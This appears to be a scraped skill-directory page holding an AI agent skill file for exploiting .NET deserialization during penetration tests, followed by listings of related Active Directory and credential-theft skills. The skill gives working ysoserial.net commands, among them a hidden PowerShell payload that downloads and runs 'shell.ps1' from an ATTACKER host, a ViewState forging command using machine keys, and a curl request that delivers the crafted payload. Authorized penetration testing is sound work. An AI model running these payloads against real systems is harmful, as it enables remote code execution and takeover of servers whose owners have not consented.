acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Exploit .NET deserialization vulnerabilities during authorized penetration testing.
Claude Code
$ npx -y skills add blacklanternsecurity/red-run --skill deserialization-dotnet --agent claude-code
Codex
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a codex -y
Cursor
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a cursor -y
Gemini CLI
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a gemini-cli -y
GitHub Copilot
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a github-copilot -y
OpenCode
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a opencode -y
Windsurf
$ npx skills add blacklanternsecurity/red-run --skill deserialization-dotnet -a windsurf -y
name: deserialization-dotnet description: > Exploit .NET deserialization vulnerabilities during authorized penetration testing. keywords: - .net deserialization - ysoserial.net - dotnet deserialization - BinaryFormatter exploit - ViewState exploit - ViewState RCE - machine key exploit - JSON.NET deserialization - TypeNameHandling exploit - ObjectDataProvider - TypeConfuseDelegate - .NET Remoting exploit - LosFormatter - SoapFormatter - SharePoint deserialization - Sitecore deserialization tools: - ysoserial.net - blacklist3r - burpsuite opsec: medium
You are helping a penetration tester exploit .NET deserialization vulnerabilities. The target application uses dangerous .NET formatters or exposes ViewState/JSON endpoints that deserialize untrusted data, enabling gadget chain attacks for remote code execution. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
cookie, WCF)
`Blacklist3r` or `BadSecrets` (Python) for machine key checks
If not already provided, determine:
1. **Serialization format** — look for these signatures:
| Signature | Format | Where Found | |-----------|--------|-------------| | `AAEAAAD` (base64) | BinaryFormatter | Parameters, cookies, ViewState | | `/w` (base64 prefix) | .NET ViewState | `__VIEWSTATE` parameter | | `$type` field in JSON | JSON.NET (Newtonsoft) | API request/response bodies | | SOAP XML with CLR types | SoapFormatter | .NET Remoting, WCF |
2. **Entry point type**:
3. **Formatter in use** — determines which gadgets work:
| Formatter | Risk | Gadgets | |-----------|------|---------| | BinaryFormatter | Critical | TypeConfuseDelegate, PSObject, DataSet | | LosFormatter | Critical | TypeConfuseDelegate, TextFormattingRunProperties | | ObjectStateFormatter | Critical | TypeConfuseDelegate, PSObject | | SoapFormatter | Critical | TypeConfuseDelegate, ActivitySurrogateSelector | | NetDataContractSerializer | High | TypeConfuseDelegate, ObjectDataProvider | | JSON.NET (TypeNameHandling != None) | High | ObjectDataProvider, WindowsIdentity | | DataContractSerializer | Medium | ObjectDataProvider (if type controlled) | | XmlSerializer | Medium | Limited (requires type control) |
Skip if context was already provided.
The most common .NET deserialization vector. ASP.NET serializes page state into `__VIEWSTATE`, signed and optionally encrypted with machine keys.
# Blacklist3r — checks against 3000+ published machine keys Blacklist3r.exe --viewstate "__VIEWSTATE_VALUE" --generator "__VIEWSTATEGENERATOR_VALUE" # BadSecrets (Python — cross-platform) pip install badsecrets python -m badsecrets --viewstate "__VIEWSTATE_VALUE" --generator "GENERATOR"
**Machine key sources:**
# Basic RCE via LosFormatter + TypeConfuseDelegate
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate \
-c "powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-o base64
# Using TextFormattingRunProperties (alternative gadget)
ysoserial.exe -f LosFormatter -g TextFormattingRunProperties \
-c "cmd /c whoami > c:\inetpub\wwwroot\proof.txt" -o base64
# ViewState plugin (handles signing/encryption with known keys)
ysoserial.exe -p ViewState \
--validationkey="VALIDATION_KEY_HEX" \
--decryptionkey="DECRYPTION_KEY_HEX" \
--generator="__VIEWSTATEGENERATOR" \
--validationalg="SHA1" \
--decryptionalg="AES" \
-c "cmd /c whoami"<!-- web.config --> <machineKey validationKey="64_HEX_CHARS" decryptionKey="32_HEX_CHARS" validation="SHA1" decryption="AES" />
# POST to the target page with crafted __VIEWSTATE curl -X POST https://TARGET/page.aspx \ -d "__VIEWSTATE=PAYLOAD_BASE64&__VIEWSTATEGENERATOR=GENERATOR&__EVENTVALIDATION=VALIDATION"
When JSON.NET (Newtonsoft.Json) is configured with `TypeNam
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner,…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL →…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse.…
Use for authorized security assessment of REST, GraphQL, WebSocket, or SOAP APIs, including discovery, authentication,…
Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys)…
Clean and finalize authorized natural-language text intended for readers by auditing suspicious invisible Unicode and rewriting…